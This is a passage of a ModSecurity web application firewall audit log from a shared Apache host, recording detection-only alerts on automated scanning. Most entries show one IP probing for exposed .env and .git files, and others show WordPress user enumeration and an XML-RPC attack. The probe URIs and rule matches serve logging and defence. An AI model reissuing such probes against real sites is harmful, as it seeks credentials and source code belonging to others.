AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e67b0f12-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=600204e1acf32c8cc17ecb56b5d838dc1750036911; expires=Mon, 16 Jun 2025 02:21:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e67b0f12-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/local/.env"] [unique_id "aE9xrvv_9qNKLXJRkuZdDQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036910687945 679654 (- - -) Stopwatch2: 1750036910687945 679654; combined=2587, p1=518, p2=1986, p3=0, p4=0, p5=83, sr=127, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e67b0f12-Z-- --c360a900-A-- [16/Jun/2025:06:51:52.541067 +0530] aE9xr-Mjvy_LHXlMeRARQwAAAAU 185.177.72.210 34008 127.0.0.1 7081 --c360a900-B-- GET /:8080/public/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c360a900-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5511714a4136c203838465eecf13d7a91750036912; expires=Mon, 16 Jun 2025 02:21:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c360a900-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/public/.env"] [unique_id "aE9xr-Mjvy_LHXlMeRARQwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036911796239 744905 (- - -) Stopwatch2: 1750036911796239 744905; combined=1912, p1=396, p2=1402, p3=0, p4=0, p5=113, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c360a900-Z-- --28552275-A-- [16/Jun/2025:06:51:56.716481 +0530] aE9xs_bo0R64L12N_albGQAAAAQ 185.177.72.210 34190 127.0.0.1 7081 --28552275-B-- GET /:8880/tmp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --28552275-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b3180aa1a7ae863deed30f611f9734301750036916; expires=Mon, 16 Jun 2025 02:21:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --28552275-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/tmp/.env"] [unique_id "aE9xs_bo0R64L12N_albGQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036915995160 721384 (- - -) Stopwatch2: 1750036915995160 721384; combined=2015, p1=407, p2=1491, p3=0, p4=0, p5=116, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --28552275-Z-- --2a7b2455-A-- [16/Jun/2025:06:51:57.697803 +0530] aE9xtboFnONBt7jRcByTcQAAAA4 185.177.72.210 34236 127.0.0.1 7081 --2a7b2455-B-- GET /_static/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2a7b2455-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d4e0237536ead26a446fcc0dd2a207291750036917; expires=Mon, 16 Jun 2025 02:21:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2a7b2455-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/_static/.env"] [unique_id "aE9xtboFnONBt7jRcByTcQAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036917037656 660223 (- - -) Stopwatch2: 1750036917037656 660223; combined=1642, p1=356, p2=1179, p3=0, p4=0, p5=107, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2a7b2455-Z-- --d6d74a7a-A-- [16/Jun/2025:06:52:01.712208 +0530] aE9xuTZ3uHeEW3BYvDO46QAAAAA 185.177.72.210 41568 127.0.0.1 7081 --d6d74a7a-B-- GET /:10000/app/configurationtionura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d6d74a7a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c6d500cc9d909f894dee972574d5f3221750036921; expires=Mon, 16 Jun 2025 02:22:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d6d74a7a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/app/configurationtionura/.env"] [unique_id "aE9xuTZ3uHeEW3BYvDO46QAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036921039039 673270 (- - -) Stopwatch2: 1750036921039039 673270; combined=2053, p1=362, p2=1554, p3=0, p4=0, p5=136, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d6d74a7a-Z-- --6ed70105-A-- [16/Jun/2025:06:52:02.742895 +0530] aE9xuvbo0R64L12N_albHAAAAAQ 185.177.72.210 41616 127.0.0.1 7081 --6ed70105-B-- GET /kibana/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6ed70105-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=243b89bfae0a5abd97179df6b0a2301b1750036922; expires=Mon, 16 Jun 2025 02:22:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6ed70105-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/kibana/.env"] [unique_id "aE9xuvbo0R64L12N_albHAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036922054909 688051 (- - -) Stopwatch2: 1750036922054909 688051; combined=2624, p1=599, p2=1927, p3=0, p4=0, p5=97, sr=138, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6ed70105-Z-- --c17a935c-A-- [16/Jun/2025:06:52:13.767361 +0530] aE9xxeMjvy_LHXlMeRARTgAAAAU 185.177.72.210 39732 127.0.0.1 7081 --c17a935c-B-- GET /.git/configurationtion HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c17a935c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=eac51154839bc76177e3dccaf46393a41750036933; expires=Mon, 16 Jun 2025 02:22:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c17a935c-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/configurationtion"] [unique_id "aE9xxeMjvy_LHXlMeRARTgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036933114036 653404 (- - -) Stopwatch2: 1750036933114036 653404; combined=1709, p1=366, p2=1239, p3=0, p4=0, p5=103, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c17a935c-Z-- --7af4b451-A-- [16/Jun/2025:06:52:15.268236 +0530] aE9xxvbo0R64L12N_albIwAAAAQ 198.44.190.4 39782 127.0.0.1 7081 --7af4b451-B-- GET //wp-json/wp/v2/users/ HTTP/1.0 Host: www.futuronomics.com X-Real-IP: 198.44.190.4 X-Accel-Internal: /internal-nginx-static-location Connection: close Cookie: wpr_guest_token=dac5ecb21099f4dd359ca9cf3d728e0abcefc41b0e5c61514a656cf871b1990a User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 --7af4b451-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.3.22 X-Robots-Tag: noindex Link: <https://www.futuronomics.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Allow: GET Vary: Origin,Accept-Encoding Connection: close Content-Type: application/json; charset=UTF-8 --7af4b451-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.futuronomics.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.futuronomics.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.futuronomics.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE9xxvbo0R64L12N_albIwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/futuronomics.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036934134450 1133855 (- - -) Stopwatch2: 1750036934134450 1133855; combined=2192, p1=376, p2=1722, p3=0, p4=0, p5=93, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7af4b451-Z-- --b7fd491e-A-- [16/Jun/2025:06:52:28.931829 +0530] aE9x07oFnONBt7jRcByTggAAAA4 128.199.112.101 60442 127.0.0.1 7081 --b7fd491e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --b7fd491e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --b7fd491e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9x07oFnONBt7jRcByTggAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036947918260 1013654 (- - -) Stopwatch2: 1750036947918260 1013654; combined=2545, p1=412, p2=1666, p3=55, p4=75, p5=211, sr=117, sw=126, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b7fd491e-Z-- --b273ac1b-A-- [16/Jun/2025:06:52:38.355135 +0530] aE9x3fvF1ly0gx5reNmAkgAAAAE 185.177.72.210 52438 127.0.0.1 7081 --b273ac1b-B-- GET /:8080/v1/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b273ac1b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a3471c053449ababe823984f0363b7fd1750036958; expires=Mon, 16 Jun 2025 02:22:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b273ac1b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/v1/.env"] [unique_id "aE9x3fvF1ly0gx5reNmAkgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036957658586 696614 (- - -) Stopwatch2: 1750036957658586 696614; combined=1996, p1=356, p2=1545, p3=0, p4=0, p5=94, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b273ac1b-Z-- --63064848-A-- [16/Jun/2025:06:52:45.025170 +0530] aE9x5Pv_9qNKLXJRkuZdKAAAAAs 185.177.72.210 35750 127.0.0.1 7081 --63064848-B-- GET /developer/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --63064848-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=edd85b3e209c037b0732d5043f71a2101750036964; expires=Mon, 16 Jun 2025 02:22:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --63064848-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/developer/.env"] [unique_id "aE9x5Pv_9qNKLXJRkuZdKAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036964348923 676316 (- - -) Stopwatch2: 1750036964348923 676316; combined=1690, p1=371, p2=1233, p3=0, p4=0, p5=85, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --63064848-Z-- --81739b2b-A-- [16/Jun/2025:06:52:48.012571 +0530] aE9x5-Mjvy_LHXlMeRARXwAAAAU 185.177.72.210 35852 127.0.0.1 7081 --81739b2b-B-- GET /.git/HEAD HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --81739b2b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3ef09341cd7b3b1e224d58f68943e93d1750036967; expires=Mon, 16 Jun 2025 02:22:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --81739b2b-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/HEAD"] [unique_id "aE9x5-Mjvy_LHXlMeRARXwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036967345933 666700 (- - -) Stopwatch2: 1750036967345933 666700; combined=1924, p1=421, p2=1414, p3=0, p4=0, p5=88, sr=123, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --81739b2b-Z-- --67165529-A-- [16/Jun/2025:06:53:05.680786 +0530] aE9x-ehCUAahT1nBjTYNDQAAAAM 185.177.72.210 56214 127.0.0.1 7081 --67165529-B-- GET /:8008/env/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --67165529-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=728b54f3bfd7dbf50a32991d90b8cb961750036985; expires=Mon, 16 Jun 2025 02:23:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --67165529-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/env/.env"] [unique_id "aE9x-ehCUAahT1nBjTYNDQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036985011397 669461 (- - -) Stopwatch2: 1750036985011397 669461; combined=1957, p1=484, p2=1371, p3=0, p4=0, p5=101, sr=120, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --67165529-Z-- --971a9018-A-- [16/Jun/2025:06:53:06.668955 +0530] aE9x-vv_9qNKLXJRkuZdMQAAAAs 185.177.72.210 56256 127.0.0.1 7081 --971a9018-B-- GET /.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --971a9018-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6b5bf1b076dda70fd99b848360c8fcd51750036986; expires=Mon, 16 Jun 2025 02:23:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --971a9018-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.production"] [unique_id 